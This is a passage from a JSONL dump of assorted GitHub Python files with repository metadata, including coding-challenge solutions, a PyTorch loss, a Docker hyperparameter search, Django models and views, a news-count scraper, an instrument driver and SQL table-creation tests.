3]] respectively.\n\n# For the second query:\n# There are 6 anagrams of the form [k, k] at positions\n\n# [[0], [1]], [[0], [2]], [[0], [3]], [[1], [2]], [[1], [3]] and [[2], [3]]\n\n# There are 3 anagrams of the form [kk, kk] at positions\n\n# [[0, 1], [1, 2]], [[0, 1], [2, 3]] and [[1, 2], [2, 3]]\n\n# There is 1 anagram of the form [kkk, kkk] at position [[0, 1, 2], [1, 2, 3]].\n\n# Sample Input 2\n\n# 1\n# cdcd\n\n# Sample Output 2\n\n# 5\n\n# Explanation 2\n\n# There are two anagrammatic pairs of length 1: [c, c] and [d, d]. There are\n# three anagrammatic pairs of length 2: [cd, dc], [cd, cd], [dc, cd] at\n# positions [[0, 1], [1, 2]], [[0, 1], [2, 3], [[1, 2], [2, 3]]] respectively.\n\n# Complete the 'sherlockAndAnagrams' function below.\n#\n# The function is expected to return an INTEGER.\n# The function accepts STRING s as parameter.\n\n\ndef sherlock_and_anagrams(s):\n pairs = {}\n count = 0\n\n for i in range(len(s)):\n for j in range(1, len(s) - i + 1):\n key = \"\".join(sorted(s[i : i + j]))\n\n pairs[key] = pairs.get(key, 0) + 1\n\n for pair in pairs.values():\n count += (pair * (pair - 1)) // 2\n\n return count\n\n\nq = int(input().strip())\n\nfor q_itr in range(q):\n s = input()\n\n print(sherlock_and_anagrams(s))\n","repo_name":"johand/hr","sub_path":"interview-preparation-kit/dict-and-hash/sherlock_anagrams.py","file_name":"sherlock_anagrams.py","file_ext":"py","file_size_in_byte":2684,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74121382546","text":"# https://atcoder.jp/contests/arc115/submissions/21221040\n# C - ℕ Coloring\nimport sys\n\nsys.setrecursionlimit(10 ** 7)\ninput = sys.stdin.readline\nf_inf = float('inf')\nMOD = 10 ** 9 + 7\n\n\ndef solve():\n n = int(input())\n res = [0] * n\n res[0] = 1\n for i in range(1, n + 1):\n init = res[i - 1]\n for j in range(i + i, n + 1, i):\n res[j - 1] = init + 1\n print(*res)\n\n\nif __name__ == '__main__':\n solve()\n","repo_name":"happa64/AtCoder_Beginner_Contest","sub_path":"ARC/ARC115/ARC115_C.py","file_name":"ARC115_C.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"11140391369","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nclass MultiShapeCrossEntropy(nn.Module):\n def __init__(self, num_classes):\n super(MultiShapeCrossEntropy, self).__init__()\n self.num_classes = num_classes\n\n def forward(self, logits_all_shapes, points_labels, shape_labels):\n batch_size = shape_labels.shape[0]\n losses = 0\n for i in range(batch_size):\n sl = shape_labels[i]\n logits = torch.unsqueeze(logits_all_shapes[sl][i], 0)\n pl = torch.unsqueeze(points_labels[i], 0)\n loss = F.cross_entropy(logits, pl)\n losses += loss\n for isl in range(self.num_classes):\n if isl == sl:\n continue\n losses += 0.0 * logits_all_shapes[isl][i].sum()\n return losses / batch_size\n","repo_name":"zeliu98/CloserLook3D","sub_path":"pytorch/models/losses/multi_shape_cross_entropy.py","file_name":"multi_shape_cross_entropy.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","stars":245,"dataset":"github-code","pt":"48"} +{"seq_id":"27889394002","text":"import os, random, time, threading, json, contextlib, uuid\nimport concurrent.futures\n\nimport yaml\nimport shortuuid\nfrom python_on_whales import docker, DockerClient\nfrom protopost import ProtoPost, protopost_client as ppcl\n\nPORT = int(os.getenv(\"PORT\", 80))\nNUM_WORKERS = int(os.getenv(\"NUM_WORKERS\", 4))\nDELAY = float(os.getenv(\"DELAY\", 0))\nEXPERIMENT_NAME = os.getenv(\"EXPERIMENT_NAME\", \"experiment\")\nTENSORBOARD_LOGGER_URL = os.getenv(\"TENSORBOARD_LOGGER_URL\", None)\nPARAMS = os.getenv(\"PARAMS\", {})\nPARAMS = yaml.safe_load(PARAMS)\nprint(PARAMS)\n\nBUILD_CONTEXT = os.getenv(\"BUILD_CONTEXT\", \"/target\")\n\n#\"unpack\" metahyperparameters\ndef unpack_mhps(params):\n new_params = {}\n for k, v in params.items():\n if type(v) == dict:\n for k2, v2 in v.items():\n new_params[k2] = v2\n else:\n new_params[k] = v\n\n return new_params\n\ndef run(**kwargs):\n #create project name\n id = shortuuid.uuid()\n #create env file from kwargs\n env_filename = f\"{id}.env\"\n with open(env_filename, \"w\") as f:\n s = \"\\n\".join([f\"{k}={v}\" for k, v in kwargs.items()])\n f.write(s)\n\n #create new docker client\n client = DockerClient(\n compose_files=[os.path.join(BUILD_CONTEXT, \"docker-compose.yml\")],\n compose_env_file=env_filename,\n compose_project_name=f\"{EXPERIMENT_NAME}-search-{id}\"\n )\n\n #build containers first\n client.compose.build()\n\n #compose run (stream=True to output lines)\n #TODO: suppress output\n #TODO: cleanup\n # with contextlib.redirect_stdout(None):\n output = client.compose.run(\"main\", tty=False, stream=True, remove=True)\n #grab list of images of running containers\n images = [docker.image.inspect(container.image) for container in docker.compose.ps()]\n output = [s[1] for s in output if s[0] == \"stdout\"] #grab all stdout lines\n\n #last line of stdout is the result (json)\n metrics = output[-1]\n metrics = json.loads(metrics)\n\n #close/ramove other containers\n client.compose.down(volumes=True)\n\n #remove volumes\n client.compose.rm(volumes=True)\n\n #remove images (might not actually be necessary in cases of clean exits, TODO: test)\n # for image in images:\n # image.remove()\n\n #delete env file\n os.remove(env_filename)\n\n time.sleep(DELAY)\n return id, metrics\n\ndef choose_params(param_options):\n params = {}\n for k, v in param_options.items():\n params[k] = random.choice(v)\n\n params = unpack_mhps(params)\n return params\n\n\nresults = []\ncounter = 0\n#create thread pool executor\n#run loop in a separate thread (that starts tasks, checks for empty slots, and updates db)\ndef thread_cute():\n # #TODO: catch errors (should we log these? if so, probably in a separate file/table/whatever)\n global counter\n with concurrent.futures.ThreadPoolExecutor(max_workers=NUM_WORKERS) as executor:\n futures = []\n while True:\n #fill up pool with random parameter-running instances\n while len(futures) < NUM_WORKERS:\n params = choose_params(PARAMS)\n future = executor.submit(run, **params)\n futures.append([params, future])\n\n #wait for at least one to finish\n try:\n concurrent.futures.wait([f for _, f in futures], return_when=concurrent.futures.FIRST_COMPLETED)\n except Error as e:\n print(e)\n continue\n\n #for each future that completes, append [params, metrics] to results\n for params, future in futures:\n if future.done():\n id, metrics = future.result()\n counter += 1\n print(counter, params, metrics)\n results.append([params, metrics])\n if TENSORBOARD_LOGGER_URL is not None:\n ppcl(f\"{TENSORBOARD_LOGGER_URL}/hparams/{EXPERIMENT_NAME}/{id}\", {\n \"params\": params,\n \"metrics\": metrics\n })\n\n #remove done futures\n futures = [[p, f] for p, f in futures if not f.done()]\n\n\nthreading.Thread(target=thread_cute, daemon=True).start()\n\n#TODO: add method for filtering by only including samples with a certain hparm combo\n#potentially add method for adding/removing hyperparameters live? (might REALLY mess with graphing)\nroutes = {\n \"\": lambda data: results\n}\n\nProtoPost(routes).start(PORT)\n","repo_name":"tehZevo/aegis-random-search","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4129,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"41367690110","text":"from django.db import models\nfrom django.core.exceptions import ValidationError\nfrom django.utils.translation import gettext_lazy as _\n\nfrom Personnel.models import *\n\nDepartment_choice = (('Informatique','Informatique'),\n ('SCIENCES HUMAINES','SCIENCES HUMAINES'),\n ('SCIENCES SOCIALES','SCIENCES SOCIALES'),\n ('SCIENCES ECONOMIQUES ','SCIENCES ECONOMIQUES '),\n # ('SPORT','SPORT'),\n )\n\n\n\nFilier_choice = (('Techniques Mathématiques','Techniques Mathématiques'),\n ('Sciences Expérimentales','Sciences Expérimentales'),\n ('Mathématiques','Mathématiques'),\n ('Latters et Philosophie ','Latters et Philosophie'),\n ('Langues Etrangéres','Langues Etrangéres'),\n ('Gestion et Economie','Gestion et Economie'),\n )\n\n\ndef validate_file_extension(value):\n import os\n from django.core.exceptions import ValidationError\n ext = os.path.splitext(value.name)[1] # [0] returns path+filename\n valid_extensions = ['.pdf']\n if not ext.lower() in valid_extensions:\n raise ValidationError('Unsupported file extension.')\n \nclass InscriptionLicense(models.Model):\n \n \n class InscriptionLicenseObjects(models.Manager):\n def get_queryset(self):\n return super().get_queryset().filter(is_accept=True)\n \n email = models.EmailField(max_length=255,unique=True,blank=True)\n nom = models.CharField(max_length=50)\n prenom = models.CharField(max_length=50)\n specialite = models.CharField(choices=Department_choice,default='Informatique',max_length=200)\n filier = models.CharField(choices=Filier_choice,max_length=200,default=\"Mathématiques\")\n matricul_bac = models.IntegerField(unique=True)\n bac_anne = models.IntegerField()\n moyenne_bac = models.FloatField()\n note_math = models.FloatField(blank=True,null=True)\n note_phy = models.FloatField(blank=True,null=True)\n fichier = models.FileField(upload_to='fileInscriptionLicence',blank=True,validators=[validate_file_extension])\n moyenne_classment = models.FloatField(blank=True,null=True)\n matricul_univ = models.IntegerField(blank=True)\n is_accept = models.BooleanField(default=False)\n perioriter = models.IntegerField(blank=True,default=1)\n objects = models.Manager() # default manager\n postobjects = InscriptionLicenseObjects() \n \n \n class Meta:\n ordering = ('-perioriter',)\n\n \n \n def __str__(self):\n return self.nom + \" \" +self.prenom\n \n def save(self, *args, **kwargs):\n if self.note_math is not None and self.note_phy is not None:\n self.moyenne_classment = (self.moyenne_bac*2+(self.note_math+self.note_phy)/2)/3\n \n matricull = self.bac_anne-2000\n matricul = f\"{matricull}{matricull}{self.matricul_bac}\"\n self.matricul_univ = int(matricul)\n if self.specialite == \"Informatique\":\n if self.filier == \"Techniques Mathématiques\" or self.filier == \"Mathématiques\":\n self.perioriter = 1\n else:\n self.perioriter = 2\n if self.specialite == \"SCIENCES HUMAINES\":\n if self.filier == \"Latters et Philosophie\" or self.filier == \"Langues Etrangéres\":\n self.perioriter = 1\n else: \n self.perioriter = 2 \n \n if self.specialite == \"SCIENCES SOCIALES\" :\n if self.filier == \"Latters et Philosophie\" or self.filier == \"Langues Etrangéres\" :\n self.perioriter = 1\n else:\n self.perioriter = 2 \n if self.specialite ==\"SCIENCES ECONOMIQUES\":\n if self.filier == \"Gestion et Economie\":\n self.perioriter =1\n else:\n self.perioriter = 2 \n \n annee_accept = 2022-self.bac_anne\n if 0 <=annee_accept <=5:\n if self.specialite == \"Informatique\" and self.moyenne_bac >=13.20:\n self.is_accept = True\n if self.specialite == \"SCIENCES HUMAINES\" and self.moyenne_bac>=10:\n self.is_accept = True\n if self.specialite == \"SCIENCES SOCIALES\" and self.moyenne_bac>=10:\n self.is_accept = True\n if self.specialite == \"SCIENCES ECONOMIQUES\" and self.moyenne_bac>=9.50:\n self.is_accept = True\n \n else:\n self.is_accept = False \n \n \n super().save(*args, **kwargs) \n \n \n \n \n# class Etudiant(models.Model):\n\n\nclass InscriptionLicenceSpecialite(models.Model):\n offreLicence = models.ForeignKey(OffreLicence,on_delete=models.CASCADE)\n nom_prenom = models.CharField(max_length=200)\n matricule = models.IntegerField()\n choix_1 = models.CharField(max_length=10)\n choix_2 = models.CharField(max_length=10)\n choix_3 = models.CharField(max_length=10)\n choix_4 = models.CharField(max_length=10)\n\n\n\nclass InscriptionMasterSpecialite(models.Model):\n offreMaster = models.ForeignKey(OffreMaster,on_delete=models.CASCADE)\n nom_prenom = models.CharField(max_length=200)\n matricule = models.IntegerField()\n choix_1 = models.CharField(max_length=10)\n choix_2 = models.CharField(max_length=10)\n choix_3 = models.CharField(max_length=10)\n choix_4 = models.CharField(max_length=10) \n ","repo_name":"abdmahdi/EDL_V1","sub_path":"Etudiant/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10877761225","text":"#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\n\n\"\"\"\n@description: 爬取infobank新闻搜索数/Spider for news searching results from infobank.cn\n@file_name: infobank_news_search_results.py\n@project: my_love\n@version: 1.0\n@date: 2019/04/20 23:21\n@author: air\n\"\"\"\n\n__author__ = 'air'\n\n\nimport urllib.request\nfrom bs4 import BeautifulSoup\nimport pandas as pd\nimport time\n\n\ndef get_news_search_results(length):\n try:\n # 伪装头部信息\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 '\n 'Safari/537.36',\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',\n 'Accept-Language': 'zh-CN,zh;q=0.8'\n }\n # df1 = pd.read_excel(r'C:\\Users\\air\\Desktop\\300家数据.xlsx', usecols = '1, 3')\n # df1打开数据的第B列(公司名称), df2打开数据的第E列(CEO姓名)\n df1 = pd.read_excel(r'筛选数据20190418.xlsx')\n df2 = pd.read_excel(r'筛选数据20190418.xlsx', usecols=[4])\n\n # 共2656条数据\n a = 0\n for i in range(length, 2656):\n a = i\n # 读取公司名称和CEO姓名\n group_name = df1.iat[i, 1]\n name = df2.iat[i, 0]\n year = str(df1.iat[i, 2])\n # 防止封IP, 休息1秒钟\n time.sleep(1)\n # 将字符串转换为编码urllib.parse.quote(name)\n # http://www.bjinfobank.com/DataList.do?method=DataList&db=HK&iw=%E8%B4%B5%E5%B7%9E%E8%8C%85%E5%8F%B0+%E8%A2%81%E4%BB%81%E5%9B%BD&query=all&rl=2&pageSize=25&starTime=2010-01-01&endTime=2010-12-31&myorder=SUTM\n url = 'http://www.bjinfobank.com/DataList.do?method=DataList&db=HK&iw=' + \\\n urllib.parse.quote(name) + '+' + urllib.parse.quote(group_name) + '&query=all&rl=2&pageSize=25&' + \\\n 'starTime=' + year + '-01-01&endTime=' + year + '-12-31&myorder=SUTM'\n req = urllib.request.Request(url, None, headers, None, False)\n response = urllib.request.urlopen(req)\n soup = BeautifulSoup(response.read(), 'lxml')\n result = soup.find_all(name='span', attrs={\"class\": \"mlgreen\"})[0].string.replace(',', '').strip()\n print(result)\n df1.iloc[i, 17] = result\n df1.to_excel(r'筛选数据20190420.xlsx', index=False, header=False, encoding='utf-8')\n except:\n print('a: ' + str(a))\n get_news_search_results(a)\n\n\nif __name__ == \"__main__\":\n get_news_search_results(0)\n","repo_name":"airmelt/my_love","sub_path":"infobank_news_search_results.py","file_name":"infobank_news_search_results.py","file_ext":"py","file_size_in_byte":2600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"29136919162","text":"\nimport pyvisa as visa\nimport sys\n\nVISA_ADDRESS = 'USB0::0x2A8D::0x5101::MY58018230::0::INSTR'\n\nclass Multimeter():\n def __init__(self):\n try:\n self.resourceManager = visa.ResourceManager()\n self.session = self.resourceManager.open_resource(VISA_ADDRESS)\n except visa.Error as ex:\n print('Couldn\\'t connect to \\'%s\\', exiting now...' % VISA_ADDRESS)\n sys.exit()\n self.session.read_termination = '\\n'\n\n self.session.write('*IDN?')\n idn = self.session.read()\n print('*IDN? returned: %s' % idn.rstrip('\\n'))\n\n def init_device(self):\n # self.session.write(\"SET DefaultTimeout to 10\")\n # self.session.write(\":CONFigure:RESistance (@201,202,203,204)\")\n # print(self.session.read())\n # self.session.write(f\"RES:NPLC 1\")\n self.session.write(\":ROUTe:SCAN (@201,202,203,204)\")\n self.session.write(\"RES:RANG:AUTO 1\")\n\n def get_errors(self):\n err = self.session.query(\"SYST:ERR?\")\n return err\n\n def get_data(self):\n sensors = ['S1', 'S2', 'S3', 'S4']\n self.session.write(f\"INIT\")\n self.session.write(':FETCh?')\n data = self.session.read()\n data = [float(i) for i in data.split(',')]\n data_dict = {}\n for sensor, value in zip(sensors, data):\n data_dict[sensor] = value\n return data_dict\n\n\n def close(self):\n self.session.close()\n self.resourceManager.close()\n\n\nif __name__ == '__main__':\n multimeter = Multimeter()\n multimeter.init_device()\n try:\n # pass\n for i in range(5):\n print(multimeter.get_data())\n except KeyboardInterrupt:\n pass\n finally:\n multimeter.close()","repo_name":"mattmatt91/detgef_2","sub_path":"hardware/multimeter/multimeter.py","file_name":"multimeter.py","file_ext":"py","file_size_in_byte":1751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22642492430","text":"from django.shortcuts import render, redirect\nfrom django.http import HttpResponse\nfrom django.contrib.auth.decorators import login_required\nfrom .models import Despesas, Fechamentos, Faturamentos\nfrom .forms import DespesasForm, FechamentosForm, FaturamentosForm\nfrom django.db import connection\nfrom datetime import datetime\nfrom math import ceil\n\n@login_required\ndef index(request):\n fechamentos = Fechamentos.objects.all()\n itens_carrosel = ceil(len(fechamentos)/3)\n\n lista = []\n grupo = []\n count = 0\n for item in fechamentos:\n grupo.append(item)\n count+=1\n if len(grupo) == 3:\n lista.append(grupo)\n grupo = []\n lista.append(grupo)\n\n return render(request, 'home.html', {'fechamentos':lista,'range':range(itens_carrosel)})\n\n# CRUD DESPESAS\n@login_required\ndef visualizarDespesas(request):\n despesas = Despesas.objects.all()\n return render(request, 'despesas/tabela_despesas.html',{'despesas':despesas})\n\n@login_required\ndef criarDespesas(request):\n form = DespesasForm(request.POST or None)\n\n if form.is_valid():\n id_return_fechamento = form.cleaned_data['mes'].id\n form.save()\n return redirect('adm_fechamentos',id=id_return_fechamento)\n\n return render(request,'despesas/form_despesa.html', {'form':form})\n\n@login_required\ndef atualizarDespesas(request, id):\n despesas = Despesas.objects.get(id=id)\n form = DespesasForm(request.POST or None, instance=despesas)\n\n if form.is_valid():\n id_return_fechamento = form.cleaned_data['mes'].id\n form.save()\n return redirect('adm_fechamentos',id=id_return_fechamento)\n\n return render(request, 'despesas/form_despesa.html', {'form':form,'despesas':despesas})\n\n@login_required\ndef excluirDespesas(request, id):\n despesas = Despesas.objects.get(id=id)\n id_return_fechamento = Despesas.objects.get(id=id).mes_id\n\n if request.method == 'POST':\n despesas.delete()\n return redirect('adm_fechamentos',id=id_return_fechamento)\n\n return render(request, 'confirmar_remocao.html',{'parametro':despesas})\n \n# CRUD FATURAMENTO\n@login_required\ndef criarFaturamentos(request):\n form = FaturamentosForm(request.POST or None)\n\n if form.is_valid():\n id_return_fechamento = form.cleaned_data['mes'].id\n form.save()\n return redirect('adm_fechamentos',id=id_return_fechamento)\n\n return render(request,'faturamentos/form_faturamento.html', {'form':form})\n\n@login_required\ndef atualizarFaturamentos(request, id):\n faturamentos = Faturamentos.objects.get(id=id)\n form = FaturamentosForm(request.POST or None, instance=faturamentos)\n\n if form.is_valid():\n id_return_fechamento = form.cleaned_data['mes'].id\n form.save()\n return redirect('adm_fechamentos',id=id_return_fechamento)\n\n return render(request, 'faturamentos/form_faturamento.html', {'form':form,'faturamentos':faturamentos})\n\n@login_required\ndef excluirFaturamentos(request, id):\n faturamentos = Faturamentos.objects.get(id=id)\n id_return_fechamento = Faturamentos.objects.get(id=id).mes_id\n\n if request.method == 'POST':\n faturamentos.delete()\n cursor = connection.cursor()\n #cursor.execute('''SELECT * FROM app_mc_fechamentos WHERE MONTH(mes) = MONTH(DATE_FORMAT(NOW(), \"%Y%m%d\"))''')\n\n return redirect('adm_fechamentos',id=id_return_fechamento)\n\n return render(request, 'confirmar_remocao.html',{'parametro':faturamentos})\n\n# Fechamento\n@login_required\ndef criarFechamentos(request):\n form = FechamentosForm(request.POST or None)\n\n if form.is_valid():\n cursor = connection.cursor()\n \n form.instance.faturamento = 0\n form.instance.despesas = 0\n form.instance.balanco = 0\n\n # Verifica se o fechamento do mês já existe\n if cursor.execute('''SELECT * FROM app_mc_fechamentos WHERE MONTH(mes) = MONTH(DATE_FORMAT(NOW(), \"%Y%m%d\"))''') != 0:\n erro = \"Você só pode ter um fechamento mensal, e o deste mês ({}) já foi criado.\".format(traduz_mes(datetime.today().strftime(\"%m\")))\n return render(request,'fechamentos/form_fechamento.html', {'form':form,'mes_atual':traduz_mes(datetime.today().strftime(\"%m\")),'erro':erro})\n else:\n form.save()\n \n return redirect('criar_fechamentos')\n\n return render(request,'fechamentos/form_fechamento.html', {'form':form})\n\ndef admFechamentos(request,id):\n fechamentos = Fechamentos.objects.get(pk=id)\n despesas = Despesas.objects.filter(mes_id=id)\n faturamentos = Faturamentos.objects.filter(mes_id=id)\n\n return render(request,'fechamentos/tabela_fechamento.html',{'fechamentos':fechamentos,'despesas':despesas,'faturamentos':faturamentos})\n\n# Função que traduz o mês\ndef traduz_mes(num):\n lista_meses = [None,'Janeiro','Fevereiro','Março','Abril','Maio','Junho','Julho','Agosto','Setembro','Outubro','Novembro','Dezembro']\n return lista_meses[int(num)]","repo_name":"caiositta/TCC_MC","sub_path":"app_mc/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4971,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"9519343569","text":"from PIL import Image, ImageDraw, ImageFont\nimport pandas as pd\nimport io\n\n#df_app = pd.read_csv('df_app.csv')\n\ndef etiquetas(df_app):\n font = ImageFont.truetype(\"Fonts/coolvetica condensed rg.otf\", 50)\n font1 = ImageFont.truetype(\"Fonts/Gobold Light.otf\", 30)\n color = (0, 0, 0)\n x,y = 270,265\n x1,y1 = x,(y+100)\n\n x2,y2 = (x+120),530\n x3,y3 = (x+120),600\n x4,y4 = (x+120),670\n\n x5,y5 = (x+550),530\n x6,y6 = (x+550),600\n x7,y7 = (x+550),670\n\n etiquetas_images = []\n\n for i in range(len(df_app)):\n image = Image.open('image/pranna_e_bw4.png') \n draw = ImageDraw.Draw(image)\n\n nombre = df_app['Nombre'].iloc[i]\n direccion = df_app['Dirección1'].iloc[i] +\" \"+ str(df_app['Dirección2'].iloc[i])\n alubias = df_app['Alubias'].iloc[i]\n espinaca = df_app['Espinaca'].iloc[i]\n garbanzos = df_app['Garbanzos'].iloc[i]\n sueca = df_app['Sueca'].iloc[i]\n lentejas = df_app['Lentejas'].iloc[i]\n setas = df_app['Setas'].iloc[i]\n\n # Superpone el texto en la imagen\n texto1 = f\"{nombre}\"\n texto2 = f\"{direccion}\"\n\n texto3 = f\"{lentejas}\"\n texto4 = f\"{garbanzos}\"\n texto5 = f\"{setas}\"\n\n texto6 = f\"{espinaca}\"\n texto7 = f\"{alubias}\"\n texto8 = f\"{sueca}\"\n\n\n draw.text((x, y), texto1, fill=color, font=font)\n draw.text((x1, y1), texto2, fill=color, font=font)\n\n draw.text((x2, y2), texto3, fill=color, font=font1)\n draw.text((x3, y3), texto4, fill=color, font=font1)\n draw.text((x4, y4), texto5, fill=color, font=font1)\n\n draw.text((x5, y5), texto6, fill=color, font=font1)\n draw.text((x6, y6), texto7, fill=color, font=font1)\n draw.text((x7, y7), texto8, fill=color, font=font1)\n\n img_buffer = io.BytesIO()\n image.save(img_buffer, format=\"PNG\")\n img_bytes = img_buffer.getvalue()\n etiquetas_images.append(img_bytes)\n \n return etiquetas_images\n \n # # Guarda la imagen con el texto superpuesto\n # image.save(f'Etiquetas/Pedido de: {nombre}.png')\n # # Cierra la imagen\n\n #image.close()\n","repo_name":"rfullivarri/Pranna_Orders","sub_path":"etiquetas.py","file_name":"etiquetas.py","file_ext":"py","file_size_in_byte":2156,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39003048223","text":"from ...lib import hpdci\nfrom ...lib import gvars\nimport defs\n\n_testmgr = None\n_testlist = []\n_dci = None\n\ndef _init(hptestmgr, testlist=[]):\n global _testmgr\n global _testlist\n global _dci\n \n _testmgr = hptestmgr\n _testlist = testlist\n # default hpdci was created using 'SQL' as the proc name.\n # this default instance shows 'SQL>' as the prompt in the log file.\n _dci = _testmgr.get_default_dci_proc()\n \ndef test001(desc=\"\"\"create tables\"\"\"):\n global _testmgr\n global _testlist\n global _dci\n if not _testmgr.testcase_begin(_testlist): return\n stmt = \"\"\"CREATE TABLE STAFF \n(EMPNUM CHAR(3) NOT NULL,\nEMPNAME CHAR(20),\nGRADE int,\nCITY CHAR(15),\nPRIMARY KEY (EMPNUM)\n) ;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE PROJ \n(PNUM CHAR(3) NOT NULL,\nPNAME CHAR(20),\nPTYPE CHAR(6),\nBUDGET int,\nCITY CHAR(15),\nPRIMARY KEY (PNUM)\n) ;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE WORKS \n(EMPNUM CHAR(3) NOT NULL,\nPNUM CHAR(3) NOT NULL,\nHOURS int,\nprimary key (EMPNUM,PNUM)\n) ;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE STAFF1 (EMPNUM CHAR(3) NOT NULL,\nEMPNAME CHAR(20),\nGRADE int,\nCITY CHAR(15)) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE PROJ1 (\nPNUM CHAR(3) NOT NULL,\nPNAME CHAR(20),\nPTYPE CHAR(6),\nBUDGET int,\nCITY CHAR(15),\nPRIMARY KEY (PNUM)\n) ;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE WORKS1 (\nEMPNUM CHAR(3) NOT NULL,\nPNUM CHAR(3) NOT NULL,\nHOURS int,\nprimary key (EMPNUM, PNUM)\n) ;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE STAFF3 (EMPNUM CHAR(3) NOT NULL,\nEMPNAME CHAR(20),\nGRADE int,\nCITY CHAR(15)) no partition ;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE PROJ3 \n(PNUM CHAR(3) NOT NULL,\nPNAME CHAR(20),\nPTYPE CHAR(6),\nBUDGET int,\nCITY CHAR(15),\nPRIMARY KEY (PNUM)\n) no partition ;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE WORKS3 \n(EMPNUM CHAR(3) NOT NULL,\nPNUM CHAR(3) NOT NULL,\nHOURS int) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n # FOREIGN KEY (EMPNUM) REFERENCES STAFF3(EMPNUM), XXXXX\n # FOREIGN KEY (PNUM) REFERENCES PROJ3(PNUM)) ; XXXXX\n \n stmt = \"\"\"CREATE TABLE STAFF4 (EMPNUM CHAR(3) NOT NULL,\nEMPNAME CHAR(20),\nGRADE int,\nCITY CHAR(15)) no partition ;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE LONGINT (LONGXINT float) no partition ;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE TEMPXS \n(EMPNUM CHAR(3),\nGRADE int,\nCITY CHAR(15)) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE TMP \n(T1 CHAR (10),\nT2 int,\nT3 CHAR (10)) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE AA (CHARTEST CHAR(20)) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE BB (CHARTEST CHAR (1)) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE CC (CHARTEST CHAR (20)) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE DD (CHARTEST CHAR (1)) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE EE (INTTEST INTEGER) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE FF (INTTEST INT) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE GG (REALTEST REAL) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE HH (SMALLTEST SMALLINT) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE II (DOUBLETEST DOUBLE PRECISION) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE JJ (FLOATTEST FLOAT) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE KK (FLOATTEST FLOAT(32)) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE LL (NUMTEST NUMERIC(13,6)) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE MM (NUMTEST float) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE MM2 (NUMTEST float) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE NN (NUMTEST float) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE OO (NUMTEST float) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE PP (NUMTEST float) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE QQ (NUMTEST float) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE RR (NUMTEST float) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE SS (NUMTEST float) no partition;\"\"\"\n output = _dci.cmdexec(stmt)\n \n stmt = \"\"\"CREATE TABLE P1 (NUMTEST float) no partition;\"\"\"\n output = 